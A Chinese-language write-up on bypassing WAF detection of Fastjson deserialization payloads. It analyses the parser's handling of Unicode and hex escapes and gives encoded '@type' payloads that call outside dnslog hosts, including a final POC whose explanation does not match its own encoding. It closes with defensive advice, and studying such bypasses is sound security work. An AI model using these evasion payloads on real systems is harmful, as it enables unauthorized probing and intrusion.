记一次实战中对fastjson waf的绕过
字数 1381 2025-08-22 12:22:15
Fastjson WAF绕过技术深度解析
1. Fastjson WAF绕过背景
Fastjson作为Java生态中广泛使用的JSON解析库,其漏洞利用特征(如@type)已被多数WAF规则识别并拦截。本文详细记录了一次实战中对Fastjson WAF的绕过过程,总结了多种有效的绕过技术。
2. Fastjson解析机制分析
2.1 关键解析流程
Fastjson解析JSON字符串的核心流程如下:
parseObject方法启动解析DefaultJSONParser处理输入scanSymbol方法处理键名(key)parseField方法处理字段反序列化
2.2 scanSymbol方法关键逻辑
scanSymbol方法负责处理JSON键名,支持多种编码格式:
switch (chLocal) {
case 'u': // Unicode处理
char c1 = this.next();
char c2 = this.next();
char c3 = this.next();
char c4 = this.next();
int val = Integer.parseInt(new String(new char[]{c1, c2, c3, c4}), 16);
hash = 31 * hash + val;
this.putChar((char)val);
break;
case 'x': // 16进制处理
char x1 = this.ch = this.next();
x2 = this.ch = this.next();
int x_val = digits[x1] * 16 + digits[x2];
char x_char = (char)x_val;
hash = 31 * hash + x_char;
this.putChar(x_char);
break;
// 其他控制字符处理...
}
3. WAF绕过技术详解
3.1 Unicode编码绕过
原理:利用Fastjson对Unicode编码的支持,将敏感字符编码。
示例:
{
"a": {
"\u0040\u0074\u0079\u0070\u0065": "java.net.Inet4Address",
"val": "cd4d1c41.log.dnslog.sbs."
}
}
效果:将@type编码为\u0040\u0074\u0079\u0070\u0065,但实战中可能仍被拦截。
3.2 16进制编码绕过
原理:使用\x前缀的16进制编码形式。
示例:
{
"\x40\x74\x79\x70\x65": "java.net.Inet4Address",
"val": "48786d0c.log.dnslog.sbs."
}
限制:单独使用可能仍被WAF识别。
3.3 特殊字符干扰绕过
原理:利用Fastjson解析时忽略的特殊字符(空白字符、控制字符)干扰WAF检测。
示例:
String aaa = "{\"@type\"\r:\"java.net.Inet4Address\",\"val\":\"48786d0c.log.dnslog.sbs.\"}";
JSON.parse(aaa);
支持的干扰字符:
\r回车\n换行\t制表符\f换页符\b退格符
3.4 双重编码绕过
原理:结合Unicode和16进制双重编码,利用WAF解码逻辑与Fastjson解码逻辑的差异。
实施步骤:
- 对
@字符使用Unicode编码:\u0040 - 对
type使用16进制编码:\x74\x79\x70\x65 - 组合形成:
\u0040\x74\x79\x70\x65
优势:单独解码任一部分都会产生乱码,而Fastjson能正确处理组合编码。
3.5 SmartMatch机制利用
原理:利用parseField方法中的smartMatch机制,该机制会对键名进行特殊处理。
关键代码:
public FieldDeserializer smartMatch(String key, int[] setFlags) {
// ...
if (pos < 0 && key.startsWith("is")) {
smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));
pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
}
// ...
}
尝试:在键名前添加is前缀,如is@type,但实战中效果有限。
4. 实战绕过总结
4.1 最有效方法
双重编码是实战中最有效的绕过方式,成功原因:
- WAF可能分别尝试Unicode和16进制解码,单独解码失败
- Fastjson能正确处理混合编码
- 绕过基于特征匹配的WAF规则
4.2 其他组合技巧
- 编码+特殊字符:在编码后的字符串中插入控制字符
- 部分编码:只对关键字符编码,如仅编码
@符号 - 大小写混合:利用Fastjson的case-insensitive特性
5. 防御建议
针对此类绕过技术,防御方应考虑:
- 实现多层解码检测
- 监控异常控制字符的使用
- 限制反序列化的类范围
- 更新Fastjson到最新安全版本
- 结合行为分析而非单纯特征匹配
6. 完整绕过POC示例
{
"\u005c\u0075\u0030\u0030\u0034\u0030\u005c\u0078\u0037\u0034\u005c\u0078\u0037\u0039\u005c\u0078\u0037\u0030\u005c\u0078\u0036\u0035":
"java.net.Inet4Address",
"val": "attacker.dnslog.sbs."
}
此POC展示了双重编码技术的实际应用,其中:
\u005c\u0075\u0030\u0030\u0034\u0030是\u0040的Unicode编码\x74\x79\x70\x65是type的16进制编码